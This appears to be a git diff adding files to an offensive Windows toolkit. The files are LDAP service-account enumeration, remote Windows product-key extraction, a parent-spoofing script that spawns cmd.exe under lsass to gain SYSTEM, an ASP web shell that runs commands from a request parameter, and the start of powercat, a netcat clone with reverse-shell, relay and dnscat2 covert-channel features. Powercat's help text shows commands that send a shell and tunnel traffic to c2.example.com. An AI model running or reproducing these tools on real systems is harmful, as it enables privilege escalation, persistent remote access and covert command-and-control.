# Setup LDAP queries
|
||||
$CurrentDomain = $ObjDomain.distinguishedName
|
||||
$QueryGroup = "(&(objectCategory=user)(memberOf=CN=$Search,CN=Users,$CurrentDomain))"
|
||||
$QueryUser = "(samaccountname=$Search)"
|
||||
$QueryService = "(ServicePrincipalName=$Search)"
|
||||
|
||||
# Define the search type
|
||||
if(($Type -eq "group") -or ($Type -eq "user") -or ($Type -eq "service")){
|
||||
|
||||
# Define query based on type
|
||||
switch ($Type)
|
||||
{
|
||||
"group" {$MyFilter = $QueryGroup}
|
||||
"user" {$MyFilter = $QueryUser}
|
||||
"service" {$MyFilter = $QueryService}
|
||||
default {"Invalid query type."}
|
||||
}
|
||||
}
|
||||
|
||||
# Define LDAP query options
|
||||
$ObjSearcher.PageSize = $Limit
|
||||
$ObjSearcher.Filter = $Myfilter
|
||||
$ObjSearcher.SearchScope = $SearchScope
|
||||
|
||||
if ($SearchDN)
|
||||
{
|
||||
$ObjSearcher.SearchDN = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$($SearchDN)")
|
||||
}
|
||||
|
||||
# Get a count of the number of accounts that match the LDAP query
|
||||
$Records = $ObjSearcher.FindAll()
|
||||
$RecordCount = $Records.count
|
||||
|
||||
# Display search results if results exist
|
||||
if ($RecordCount -gt 0){
|
||||
|
||||
# Create data table to house results
|
||||
$DataTable = New-Object System.Data.DataTable
|
||||
|
||||
# Create and name columns in the data table
|
||||
$DataTable.Columns.Add("Account") | Out-Null
|
||||
$DataTable.Columns.Add("Server") | Out-Null
|
||||
$DataTable.Columns.Add("Service") | Out-Null
|
||||
|
||||
# Display account records
|
||||
$ObjSearcher.FindAll() | ForEach-Object {
|
||||
|
||||
# Fill hash array with results
|
||||
$UserProps = @{}
|
||||
$UserProps.Add('Name', "$($_.properties.name)")
|
||||
$UserProps.Add('SAMAccount', "$($_.properties.samaccountname)")
|
||||
$UserProps.Add('Description', "$($_.properties.description)")
|
||||
$UserProps.Add('UserPrincipal', "$($_.properties.userprincipalname)")
|
||||
$UserProps.Add('DN', "$($_.properties.distinguishedname)")
|
||||
$UserProps.Add('Created', [dateTime]"$($_.properties.whencreated)")
|
||||
$UserProps.Add('LastModified', [dateTime]"$($_.properties.whenchanged)")
|
||||
$UserProps.Add('PasswordLastSet', [dateTime]::FromFileTime("$($_.properties.pwdlastset)"))
|
||||
$UserProps.Add('AccountExpires',( &{$exval = "$($_.properties.accountexpires)"
|
||||
If (($exval -eq 0) -or ($exval -gt [DateTime]::MaxValue.Ticks))
|
||||
{
|
||||
$AcctExpires = "<Never>"
|
||||
$AcctExpires
|
||||
}Else{
|
||||
$Date = [DateTime]$exval
|
||||
$AcctExpires = $Date.AddYears(1600).ToLocalTime()
|
||||
$AcctExpires
|
||||
}
|
||||
}))
|
||||
$UserProps.Add('LastLogon', [dateTime]::FromFileTime("$($_.properties.lastlogon)"))
|
||||
$UserProps.Add('GroupMembership', "$($_.properties.memberof)")
|
||||
$UserProps.Add('SPN Count', "$($_.properties['ServicePrincipalName'].count)")
|
||||
|
||||
# Only display line for detailed view
|
||||
If (!$list){
|
||||
|
||||
# Format array as object and display records
|
||||
Write-Verbose " "
|
||||
[pscustomobject]$UserProps
|
||||
}
|
||||
|
||||
# Get number of SPNs for accounts, parse them, and add them to the data table
|
||||
$SPN_Count = $_.properties['ServicePrincipalName'].count
|
||||
if ($SPN_Count -gt 0)
|
||||
{
|
||||
|
||||
# Only display line for detailed view
|
||||
If (!$list){
|
||||
Write-Output "ServicePrincipalNames (SPN):"
|
||||
$_.properties['ServicePrincipalName']
|
||||
}
|
||||
|
||||
# Add records to data table
|
||||
foreach ($item in $_.properties['ServicePrincipalName'])
|
||||
{
|
||||
$SpnServer = $item.split("/")[1].split(":")[0]
|
||||
$SpnService = $item.split("/")[0]
|
||||
$DataTable.Rows.Add($($_.properties.samaccountname), $SpnServer, $SpnService) | Out-Null
|
||||
}
|
||||
}
|
||||
|
||||
# Only display line for detailed view
|
||||
If (!$list){
|
||||
Write-Verbose " "
|
||||
Write-Verbose "-------------------------------------------------------------"
|
||||
}
|
||||
}
|
||||
|
||||
# Only display lines for detailed view
|
||||
If (!$list){
|
||||
|
||||
# Display number of accounts found
|
||||
Write-Verbose "Found $RecordCount accounts that matched your search."
|
||||
Write-Verbose "-------------------------------------------------------------"
|
||||
Write-Verbose " "
|
||||
}else{
|
||||
|
||||
# Display results in list view that can feed into the pipeline
|
||||
$DataTable | Sort-Object Account,Server,Service | select account,server,service -Unique
|
||||
}
|
||||
}else{
|
||||
|
||||
# Display fail
|
||||
Write-Verbose " "
|
||||
Write-Verbose "No records were found that match your search."
|
||||
Write-Verbose ""
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,40 @@
|
|||
function Get-WindowsKey {
|
||||
## function to retrieve the Windows Product Key from any PC
|
||||
## by Nedim Mehic
|
||||
param ($targets = ".")
|
||||
$hklm = 2147483650
|
||||
$regPath = "Software\Microsoft\Windows NT\CurrentVersion"
|
||||
$regValue = "DigitalProductId"
|
||||
Foreach ($target in $targets) {
|
||||
$productKey = $null
|
||||
$win32os = $null
|
||||
$wmi = [WMIClass]"\\$target\root\default:stdRegProv"
|
||||
$data = $wmi.GetBinaryValue($hklm,$regPath,$regValue)
|
||||
$binArray = ($data.uValue)[52..66]
|
||||
$charsArray = "B","C","D","F","G","H","J","K","M","P","Q","R","T","V","W","X","Y","2","3","4","6","7","8","9"
|
||||
## decrypt base24 encoded binary data
|
||||
For ($i = 24; $i -ge 0; $i--) {
|
||||
$k = 0
|
||||
For ($j = 14; $j -ge 0; $j--) {
|
||||
$k = $k * 256 -bxor $binArray[$j]
|
||||
$binArray[$j] = [math]::truncate($k / 24)
|
||||
$k = $k % 24
|
||||
}
|
||||
$productKey = $charsArray[$k] + $productKey
|
||||
If (($i % 5 -eq 0) -and ($i -ne 0)) {
|
||||
$productKey = "-" + $productKey
|
||||
}
|
||||
}
|
||||
$win32os = Get-WmiObject Win32_OperatingSystem -computer $target
|
||||
$obj = New-Object Object
|
||||
$obj | Add-Member Noteproperty Computer -value $target
|
||||
$obj | Add-Member Noteproperty Caption -value $win32os.Caption
|
||||
$obj | Add-Member Noteproperty CSDVersion -value $win32os.CSDVersion
|
||||
$obj | Add-Member Noteproperty OSArch -value $win32os.OSArchitecture
|
||||
$obj | Add-Member Noteproperty BuildNumber -value $win32os.BuildNumber
|
||||
$obj | Add-Member Noteproperty RegisteredTo -value $win32os.RegisteredUser
|
||||
$obj | Add-Member Noteproperty ProductID -value $win32os.SerialNumber
|
||||
$obj | Add-Member Noteproperty ProductKey -value $productkey
|
||||
$obj
|
||||
}
|
||||
}
|
|
@ -0,0 +1,162 @@
|
|||
<#
|
||||
|
||||
$owners = @{}
|
||||
gwmi win32_process |% {$owners[$_.handle] = $_.getowner().user}
|
||||
get-process | select processname,Id,@{l="Owner";e={$owners[$_.id.tostring()]}}
|
||||
|
||||
#>
|
||||
|
||||
#Simple powershell/C# to spawn a process under a different parent process
|
||||
#Launch PowerShell As Administrator
|
||||
#usage: . .\GetSystem.ps1; [MyProcess]::CreateProcessFromParent((Get-Process lsass).Id,"cmd.exe")
|
||||
#Reference: https://github.com/decoder-it/psgetsystem
|
||||
|
||||
|
||||
|
||||
$code = @"
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
public class MyProcess
|
||||
{
|
||||
[DllImport("kernel32.dll")]
|
||||
[return: MarshalAs(UnmanagedType.Bool)]
|
||||
static extern bool CreateProcess(
|
||||
string lpApplicationName, string lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes,
|
||||
ref SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags,
|
||||
IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref STARTUPINFOEX lpStartupInfo,
|
||||
out PROCESS_INFORMATION lpProcessInformation);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
[return: MarshalAs(UnmanagedType.Bool)]
|
||||
private static extern bool UpdateProcThreadAttribute(
|
||||
IntPtr lpAttributeList, uint dwFlags, IntPtr Attribute, IntPtr lpValue,
|
||||
IntPtr cbSize, IntPtr lpPreviousValue, IntPtr lpReturnSize);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
[return: MarshalAs(UnmanagedType.Bool)]
|
||||
private static extern bool InitializeProcThreadAttributeList(
|
||||
IntPtr lpAttributeList, int dwAttributeCount, int dwFlags, ref IntPtr lpSize);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
[return: MarshalAs(UnmanagedType.Bool)]
|
||||
private static extern bool DeleteProcThreadAttributeList(IntPtr lpAttributeList);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
static extern bool CloseHandle(IntPtr hObject);
|
||||
|
||||
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
|
||||
struct STARTUPINFOEX
|
||||
{
|
||||
public STARTUPINFO StartupInfo;
|
||||
public IntPtr lpAttributeList;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
|
||||
struct STARTUPINFO
|
||||
{
|
||||
public Int32 cb;
|
||||
public string lpReserved;
|
||||
public string lpDesktop;
|
||||
public string lpTitle;
|
||||
public Int32 dwX;
|
||||
public Int32 dwY;
|
||||
public Int32 dwXSize;
|
||||
public Int32 dwYSize;
|
||||
public Int32 dwXCountChars;
|
||||
public Int32 dwYCountChars;
|
||||
public Int32 dwFillAttribute;
|
||||
public Int32 dwFlags;
|
||||
public Int16 wShowWindow;
|
||||
public Int16 cbReserved2;
|
||||
public IntPtr lpReserved2;
|
||||
public IntPtr hStdInput;
|
||||
public IntPtr hStdOutput;
|
||||
public IntPtr hStdError;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
internal struct PROCESS_INFORMATION
|
||||
{
|
||||
public IntPtr hProcess;
|
||||
public IntPtr hThread;
|
||||
public int dwProcessId;
|
||||
public int dwThreadId;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct SECURITY_ATTRIBUTES
|
||||
{
|
||||
public int nLength;
|
||||
public IntPtr lpSecurityDescriptor;
|
||||
public int bInheritHandle;
|
||||
}
|
||||
|
||||
public static void CreateProcessFromParent(int ppid, string command)
|
||||
{
|
||||
const uint EXTENDED_STARTUPINFO_PRESENT = 0x00080000;
|
||||
const uint CREATE_NEW_CONSOLE = 0x00000010;
|
||||
const int PROC_THREAD_ATTRIBUTE_PARENT_PROCESS = 0x00020000;
|
||||
|
||||
|
||||
PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
|
||||
STARTUPINFOEX si = new STARTUPINFOEX();
|
||||
si.StartupInfo.cb = Marshal.SizeOf(si);
|
||||
IntPtr lpValue = IntPtr.Zero;
|
||||
|
||||
try
|
||||
{
|
||||
|
||||
IntPtr lpSize = IntPtr.Zero;
|
||||
InitializeProcThreadAttributeList(IntPtr.Zero, 1, 0, ref lpSize);
|
||||
si.lpAttributeList = Marshal.AllocHGlobal(lpSize);
|
||||
InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, ref lpSize);
|
||||
IntPtr phandle = Process.GetProcessById(ppid).Handle;
|
||||
lpValue = Marshal.AllocHGlobal(IntPtr.Size);
|
||||
Marshal.WriteIntPtr(lpValue, phandle);
|
||||
|
||||
UpdateProcThreadAttribute(
|
||||
si.lpAttributeList,
|
||||
0,
|
||||
(IntPtr)PROC_THREAD_ATTRIBUTE_PARENT_PROCESS,
|
||||
lpValue,
|
||||
(IntPtr)IntPtr.Size,
|
||||
IntPtr.Zero,
|
||||
IntPtr.Zero);
|
||||
|
||||
|
||||
SECURITY_ATTRIBUTES pattr = new SECURITY_ATTRIBUTES();
|
||||
SECURITY_ATTRIBUTES tattr = new SECURITY_ATTRIBUTES();
|
||||
pattr.nLength = Marshal.SizeOf(pattr);
|
||||
tattr.nLength = Marshal.SizeOf(tattr);
|
||||
Console.Write("Starting: " + command + "...");
|
||||
bool b = CreateProcess(command, null, ref pattr, ref tattr, false,EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE, IntPtr.Zero, null, ref si, out pi);
|
||||
Console.WriteLine(b);
|
||||
|
||||
}
|
||||
finally
|
||||
{
|
||||
|
||||
if (si.lpAttributeList != IntPtr.Zero)
|
||||
{
|
||||
DeleteProcThreadAttributeList(si.lpAttributeList);
|
||||
Marshal.FreeHGlobal(si.lpAttributeList);
|
||||
}
|
||||
Marshal.FreeHGlobal(lpValue);
|
||||
|
||||
if (pi.hProcess != IntPtr.Zero)
|
||||
{
|
||||
CloseHandle(pi.hProcess);
|
||||
}
|
||||
if (pi.hThread != IntPtr.Zero)
|
||||
{
|
||||
CloseHandle(pi.hThread);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
"@
|
||||
Add-Type -TypeDefinition $code
|
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because it is too large
Load Diff
Binary file not shown.
File diff suppressed because one or more lines are too long
Binary file not shown.
File diff suppressed because it is too large
Load Diff
Binary file not shown.
|
@ -0,0 +1,45 @@
|
|||
<!--
|
||||
|
||||
ASP_KIT
|
||||
|
||||
cmd.asp = Command Execution
|
||||
|
||||
by: Maceo
|
||||
modified: 25/06/2003
|
||||
|
||||
-->
|
||||
|
||||
<%
|
||||
Set oScript = Server.CreateObject("WSCRIPT.SHELL")
|
||||
Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
|
||||
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
|
||||
|
||||
szCMD = request("cmd")
|
||||
|
||||
If (szCMD <> "") Then
|
||||
szTempFile = "C:\" & oFileSys.GetTempName( )
|
||||
Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
|
||||
Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0)
|
||||
End If
|
||||
%>
|
||||
|
||||
<HTML>
|
||||
<BODY>
|
||||
<FORM action="" method="GET">
|
||||
<input type="text" name="cmd" size=45 value="<%= szCMD %>">
|
||||
<input type="submit" value="Run">
|
||||
</FORM>
|
||||
<PRE>
|
||||
<%= "\\" & oScriptNet.ComputerName & "\" & oScriptNet.UserName %>
|
||||
<br>
|
||||
<%
|
||||
If (IsObject(oFile)) Then
|
||||
On Error Resume Next
|
||||
Response.Write Server.HTMLEncode(oFile.ReadAll)
|
||||
oFile.Close
|
||||
Call oFileSys.DeleteFile(szTempFile, True)
|
||||
End If
|
||||
%>
|
||||
</BODY>
|
||||
</HTML>
|
||||
|
Binary file not shown.
|
@ -0,0 +1,948 @@
|
|||
function powercat
|
||||
{
|
||||
param(
|
||||
[alias("Client")][string]$c="",
|
||||
[alias("Listen")][switch]$l=$False,
|
||||
[alias("Port")][Parameter(Position=-1)][string]$p="",
|
||||
[alias("Execute")][string]$e="",
|
||||
[alias("ExecutePowershell")][switch]$ep=$False,
|
||||
[alias("Relay")][string]$r="",
|
||||
[alias("UDP")][switch]$u=$False,
|
||||
[alias("dnscat2")][string]$dns="",
|
||||
[alias("DNSFailureThreshold")][int32]$dnsft=10,
|
||||
[alias("Timeout")][int32]$t=60,
|
||||
[Parameter(ValueFromPipeline=$True)][alias("Input")]$i=$null,
|
||||
[ValidateSet('Host', 'Bytes', 'String')][alias("OutputType")][string]$o="Host",
|
||||
[alias("OutputFile")][string]$of="",
|
||||
[alias("Disconnect")][switch]$d=$False,
|
||||
[alias("Repeater")][switch]$rep=$False,
|
||||
[alias("GeneratePayload")][switch]$g=$False,
|
||||
[alias("GenerateEncoded")][switch]$ge=$False,
|
||||
[alias("Help")][switch]$h=$False
|
||||
)
|
||||
|
||||
############### HELP ###############
|
||||
$Help = "
|
||||
powercat - Netcat, The Powershell Version
|
||||
Github Repository: https://github.com/besimorhino/powercat
|
||||
|
||||
This script attempts to implement the features of netcat in a powershell
|
||||
script. It also contains extra features such as built-in relays, execute
|
||||
powershell, and a dnscat2 client.
|
||||
|
||||
Usage: powercat [-c or -l] [-p port] [options]
|
||||
|
||||
-c <ip> Client Mode. Provide the IP of the system you wish to connect to.
|
||||
If you are using -dns, specify the DNS Server to send queries to.
|
||||
|
||||
-l Listen Mode. Start a listener on the port specified by -p.
|
||||
|
||||
-p <port> Port. The port to connect to, or the port to listen on.
|
||||
|
||||
-e <proc> Execute. Specify the name of the process to start.
|
||||
|
||||
-ep Execute Powershell. Start a pseudo powershell session. You can
|
||||
declare variables and execute commands, but if you try to enter
|
||||
another shell (nslookup, netsh, cmd, etc.) the shell will hang.
|
||||
|
||||
-r <str> Relay. Used for relaying network traffic between two nodes.
|
||||
Client Relay Format: -r <protocol>:<ip addr>:<port>
|
||||
Listener Relay Format: -r <protocol>:<port>
|
||||
DNSCat2 Relay Format: -r dns:<dns server>:<dns port>:<domain>
|
||||
|
||||
-u UDP Mode. Send traffic over UDP. Because it's UDP, the client
|
||||
must send data before the server can respond.
|
||||
|
||||
-dns <domain> DNS Mode. Send traffic over the dnscat2 dns covert channel.
|
||||
Specify the dns server to -c, the dns port to -p, and specify the
|
||||
domain to this option, -dns. This is only a client.
|
||||
Get the server here: https://github.com/iagox86/dnscat2
|
||||
|
||||
-dnsft <int> DNS Failure Threshold. This is how many bad packets the client can
|
||||
recieve before exiting. Set to zero when receiving files, and set high
|
||||
for more stability over the internet.
|
||||
|
||||
-t <int> Timeout. The number of seconds to wait before giving up on listening or
|
||||
connecting. Default: 60
|
||||
|
||||
-i <input> Input. Provide data to be sent down the pipe as soon as a connection is
|
||||
established. Used for moving files. You can provide the path to a file,
|
||||
a byte array object, or a string. You can also pipe any of those into
|
||||
powercat, like 'aaaaaa' | powercat -c 10.1.1.1 -p 80
|
||||
|
||||
-o <type> Output. Specify how powercat should return information to the console.
|
||||
Valid options are 'Bytes', 'String', or 'Host'. Default is 'Host'.
|
||||
|
||||
-of <path> Output File. Specify the path to a file to write output to.
|
||||
|
||||
-d Disconnect. powercat will disconnect after the connection is established
|
||||
and the input from -i is sent. Used for scanning.
|
||||
|
||||
-rep Repeater. powercat will continually restart after it is disconnected.
|
||||
Used for setting up a persistent server.
|
||||
|
||||
-g Generate Payload. Returns a script as a string which will execute the
|
||||
powercat with the options you have specified. -i, -d, and -rep will not
|
||||
be incorporated.
|
||||
|
||||
-ge Generate Encoded Payload. Does the same as -g, but returns a string which
|
||||
can be executed in this way: powershell -E <encoded string>
|
||||
|
||||
-h Print this help message.
|
||||
|
||||
Examples:
|
||||
|
||||
Listen on port 8000 and print the output to the console.
|
||||
powercat -l -p 8000
|
||||
|
||||
Connect to 10.1.1.1 port 443, send a shell, and enable verbosity.
|
||||
powercat -c 10.1.1.1 -p 443 -e cmd -v
|
||||
|
||||
Connect to the dnscat2 server on c2.example.com, and send dns queries
|
||||
to the dns server on 10.1.1.1 port 53.
|
||||
powercat -c 10.1.1.1 -p 53 -dns c2.example.com
|
||||
|
||||
Send a file to 10.1.1.15 port 8000.
|
||||
powercat -c 10.1.1.15 -p 8000 -i C:\inputfile
|
||||
|
||||
Write the data sent to the local listener on port 4444 to C:\outfile
|
||||
powercat -l -p 4444 -of C:\outfile
|
||||
|
||||
Listen on port 8000 and repeatedly server a powershell shell.
|
||||
powercat -l -p 8000 -ep -rep
|
||||
|
||||
Relay traffic coming in on port 8000 over tcp to port 9000 on 10.1.1.1 over tcp.
|
||||
powercat -l -p 8000 -r tcp:10.1.1.1:9000
|
||||
|
||||
Relay traffic coming in on port 8000 over tcp to the dnscat2 server on c2.example.com,
|
||||
sending queries to 10.1.1.1 port 53.
|
||||
powercat -l -p 8000 -r dns:10.1.1.1:53:c2.example.com
|
||||
"
|
||||
if($h){return $Help}
|
||||
############### HELP ###############
|
||||
|
||||
############### VALIDATE ARGS ###############
|
||||
$global:Verbose = $Verbose
|
||||
if($of -ne ''){$o = 'Bytes'}
|
||||
if($dns -eq "")
|
||||
{
|
||||
if((($c -eq "") -and (!$l)) -or (($c -ne "") -and $l)){return "You must select either client mode (-c) or listen mode (-l)."}
|
||||
if($p -eq ""){return "Please provide a port number to -p."}
|
||||
}
|
||||
if(((($r -ne "") -and ($e -ne "")) -or (($e -ne "") -and ($ep))) -or (($r -ne "") -and ($ep))){return "You can only pick one of these: -e, -ep, -r"}
|
||||
if(($i -ne $null) -and (($r -ne "") -or ($e -ne ""))){return "-i is not applicable here."}
|
||||
if($l)
|
||||
{
|
||||
$Failure = $False
|
||||
netstat -na | Select-String LISTENING | % {if(($_.ToString().split(":")[1].split(" ")[0]) -eq $p){Write-Output ("The selected port " + $p + " is already in use.") ; $Failure=$True}}
|
||||
if($Failure){break}
|
||||
}
|
||||
if($r -ne "")
|
||||
{
|
||||
if($r.split(":").Count -eq 2)
|
||||
{
|
||||
$Failure = $False
|
||||
netstat -na | Select-String LISTENING | % {if(($_.ToString().split(":")[1].split(" ")[0]) -eq $r.split(":")[1]){Write-Output ("The selected port " + $r.split(":")[1] + " is already in use.") ; $Failure=$True}}
|
||||
if($Failure){break}
|
||||
}
|
||||
}
|
||||
############### VALIDATE ARGS ###############
|
||||
|
||||
############### UDP FUNCTIONS ###############
|
||||
function Setup_UDP
|
||||
{
|
||||
param($FuncSetupVars)
|
||||
if($global:Verbose){$Verbose = $True}
|
||||
$c,$l,$p,$t = $FuncSetupVars
|
||||
$FuncVars = @{}
|
||||
$FuncVars["Encoding"] = New-Object System.Text.AsciiEncoding
|
||||
if($l)
|
||||
{
|
||||
$SocketDestinationBuffer = New-Object System.Byte[] 65536
|
||||
$EndPoint = New-Object System.Net.IPEndPoint ([System.Net.IPAddress]::Any), $p
|
||||
$FuncVars["Socket"] = New-Object System.Net.Sockets.UDPClient $p
|
||||
$PacketInfo = New-Object System.Net.Sockets.IPPacketInformation
|
||||
Write-Verbose ("Listening on [0.0.0.0] port " + $p + " [udp]")
|
||||
$ConnectHandle = $FuncVars["Socket"].Client.BeginReceiveMessageFrom($SocketDestinationBuffer,0,65536,[System.Net.Sockets.SocketFlags]::None,[ref]$EndPoint,$null,$null)
|
||||
$Stopwatch = [System.Diagnostics.Stopwatch]::StartNew()
|
||||
while($True)
|
||||
{
|
||||
if($Host.UI.RawUI.KeyAvailable)
|
||||
{
|
||||
if(@(17,27) -contains ($Host.UI.RawUI.ReadKey("NoEcho,IncludeKeyDown").VirtualKeyCode))
|
||||
{
|
||||
Write-Verbose "CTRL or ESC caught. Stopping UDP Setup..."
|
||||
$FuncVars["Socket"].Close()
|
||||
$Stopwatch.Stop()
|
||||
break
|
||||
}
|
||||
}
|
||||
if($Stopwatch.Elapsed.TotalSeconds -gt $t)
|
||||
{
|
||||
$FuncVars["Socket"].Close()
|
||||
$Stopwatch.Stop()
|
||||
Write-Verbose "Timeout!" ; break
|
||||
}
|
||||
if($ConnectHandle.IsCompleted)
|
||||
{
|
||||
$SocketBytesRead = $FuncVars["Socket"].Client.EndReceiveMessageFrom($ConnectHandle,[ref]([System.Net.Sockets.SocketFlags]::None),[ref]$EndPoint,[ref]$PacketInfo)
|
||||
Write-Verbose ("Connection from [" + $EndPoint.Address.IPAddressToString + "] port " + $p + " [udp] accepted (source port " + $EndPoint.Port + ")")
|
||||
if($SocketBytesRead -gt 0){break}
|
||||
else{break}
|
||||
}
|
||||
}
|
||||
$Stopwatch.Stop()
|
||||
$FuncVars["InitialConnectionBytes"] = $SocketDestinationBuffer[0..([int]$SocketBytesRead-1)]
|
||||
}
|
||||
else
|
||||
{
|
||||
if(!$c.Contains("."))
|
||||
{
|
||||
$IPList = @()
|
||||
[System.Net.Dns]::GetHostAddresses($c) | Where-Object {$_.AddressFamily -eq "InterNetwork"} | %{$IPList += $_.IPAddressToString}
|
||||
Write-Verbose ("Name " + $c + " resolved to address " + $IPList[0])
|
||||
$EndPoint = New-Object System.Net.IPEndPoint ([System.Net.IPAddress]::Parse($IPList[0])), $p
|
||||
}
|
||||
else
|
||||
{
|
||||
$EndPoint = New-Object System.Net.IPEndPoint ([System.Net.IPAddress]::Parse($c)), $p
|
||||
}
|
||||
$FuncVars["Socket"] = New-Object System.Net.Sockets.UDPClient
|
||||
$FuncVars["Socket"].Connect($c,$p)
|
||||
Write-Verbose ("Sending UDP traffic to " + $c + " port " + $p + "...")
|
||||
Write-Verbose ("UDP: Make sure to send some data so the server can notice you!")
|
||||
}
|
||||
$FuncVars["BufferSize"] = 65536
|
||||
$FuncVars["EndPoint"] = $EndPoint
|
||||
$FuncVars["StreamDestinationBuffer"] = New-Object System.Byte[] $FuncVars["BufferSize"]
|
||||
$FuncVars["StreamReadOperation"] = $FuncVars["Socket"].Client.BeginReceiveFrom($FuncVars["StreamDestinationBuffer"],0,$FuncVars["BufferSize"],([System.Net.Sockets.SocketFlags]::None),[ref]$FuncVars["EndPoint"],$null,$null)
|
||||
return $FuncVars
|
||||
}
|
||||
function ReadData_UDP
|
||||
{
|
||||
param($FuncVars)
|
||||
$Data = $null
|
||||
if($FuncVars["StreamReadOperation"].IsCompleted)
|
||||
{
|
||||
$StreamBytesRead = $FuncVars["Socket"].Client.EndReceiveFrom($FuncVars["StreamReadOperation"],[ref]$FuncVars["EndPoint"])
|
||||
if($StreamBytesRead -eq 0){break}
|
||||
$Data = $FuncVars["StreamDestinationBuffer"][0..([int]$StreamBytesRead-1)]
|
||||
$FuncVars["StreamReadOperation"] = $FuncVars["Socket"].Client.BeginReceiveFrom($FuncVars["StreamDestinationBuffer"],0,$FuncVars["BufferSize"],([System.Net.Sockets.SocketFlags]::None),[ref]$FuncVars["EndPoint"],$null,$null)
|
||||
}
|
||||
return $Data,$FuncVars
|
||||
}
|
||||
function WriteData_UDP
|
||||
{
|
||||
param($Data,$FuncVars)
|
||||
$FuncVars["Socket"].Client.SendTo($Data,$FuncVars["EndPoint"]) | Out-Null
|
||||
return $FuncVars
|
||||
}
|
||||
function Close_UDP
|
||||
{
|
||||
param($FuncVars)
|
||||
$FuncVars["Socket"].Close()
|
||||
}
|
||||
############### UDP FUNCTIONS ###############
|
||||
|
||||
############### DNS FUNCTIONS ###############
|
||||
function Setup_DNS
|
||||
{
|
||||
param($FuncSetupVars)
|
||||
if($global:Verbose){$Verbose = $True}
|
||||
function ConvertTo-HexArray
|
||||
{
|
||||
param($String)
|
||||
$Hex = @()
|
||||
$String.ToCharArray() | % {"{0:x}" -f [byte]$_} | % {if($_.Length -eq 1){"0" + [string]$_} else{[string]$_}} | % {$Hex += $_}
|
||||
return $Hex
|
||||
}
|
||||
|
||||
function SendPacket
|
||||
{
|
||||
param($Packet,$DNSServer,$DNSPort)
|
||||
$Command = ("set type=TXT`nserver $DNSServer`nset port=$DNSPort`nset domain=.com`nset retry=1`n" + $Packet + "`nexit")
|
||||
$result = ($Command | nslookup 2>&1 | Out-String)
|
||||
if($result.Contains('"')){return ([regex]::Match($result.replace("bio=",""),'(?<=")[^"]*(?=")').Value)}
|
||||
else{return 1}
|
||||
}
|
||||
|
||||
function Create_SYN
|
||||
{
|
||||
param($SessionId,$SeqNum,$Tag,$Domain)
|
||||
return ($Tag + ([string](Get-Random -Maximum 9999 -Minimum 1000)) + "00" + $SessionId + $SeqNum + "0000" + $Domain)
|
||||
}
|
||||
|
||||
function Create_FIN
|
||||
{
|
||||
param($SessionId,$Tag,$Domain)
|
||||
return ($Tag + ([string](Get-Random -Maximum 9999 -Minimum 1000)) + "02" + $SessionId + "00" + $Domain)
|
||||
}
|
||||
|
||||
function Create_MSG
|
||||
{
|
||||
param($SessionId,$SeqNum,$AcknowledgementNumber,$Data,$Tag,$Domain)
|
||||
return ($Tag + ([string](Get-Random -Maximum 9999 -Minimum 1000)) + "01" + $SessionId + $SeqNum + $AcknowledgementNumber + $Data + $Domain)
|
||||
}
|
||||
|
||||
function DecodePacket
|
||||
{
|
||||
param($Packet)
|
||||
|
||||
if((($Packet.Length)%2 -eq 1) -or ($Packet.Length -eq 0)){return 1}
|
||||
$AcknowledgementNumber = ($Packet[10..13] -join "")
|
||||
$SeqNum = ($Packet[14..17] -join "")
|
||||
[byte[]]$ReturningData = @()
|
||||
|
||||
if($Packet.Length -gt 18)
|
||||
{
|
||||
$PacketElim = $Packet.Substring(18)
|
||||
while($PacketElim.Length -gt 0)
|
||||
{
|
||||
$ReturningData += [byte[]][Convert]::ToInt16(($PacketElim[0..1] -join ""),16)
|
||||
$PacketElim = $PacketElim.Substring(2)
|
||||
}
|
||||
}
|
||||
|
||||
return $Packet,$ReturningData,$AcknowledgementNumber,$SeqNum
|
||||
}
|
||||
|
||||
function AcknowledgeData
|
||||
{
|
||||
param($ReturningData,$AcknowledgementNumber)
|
||||
$Hex = [string]("{0:x}" -f (([uint16]("0x" + $AcknowledgementNumber) + $ReturningData.Length) % 65535))
|
||||
if($Hex.Length -ne 4){$Hex = (("0"*(4-$Hex.Length)) + $Hex)}
|
||||
return $Hex
|
||||
}
|
||||
$FuncVars = @{}
|
||||
$FuncVars["DNSServer"],$FuncVars["DNSPort"],$FuncVars["Domain"],$FuncVars["FailureThreshold"] = $FuncSetupVars
|
||||
if($FuncVars["DNSPort"] -eq ''){$FuncVars["DNSPort"] = "53"}
|
||||
$FuncVars["Tag"] = ""
|
||||
$FuncVars["Domain"] = ("." + $FuncVars["Domain"])
|
||||
|
||||
$FuncVars["Create_SYN"] = ${function:Create_SYN}
|
||||
$FuncVars["Create_MSG"] = ${function:Create_MSG}
|
||||
$FuncVars["Create_FIN"] = ${function:Create_FIN}
|
||||
$FuncVars["DecodePacket"] = ${function:DecodePacket}
|
||||
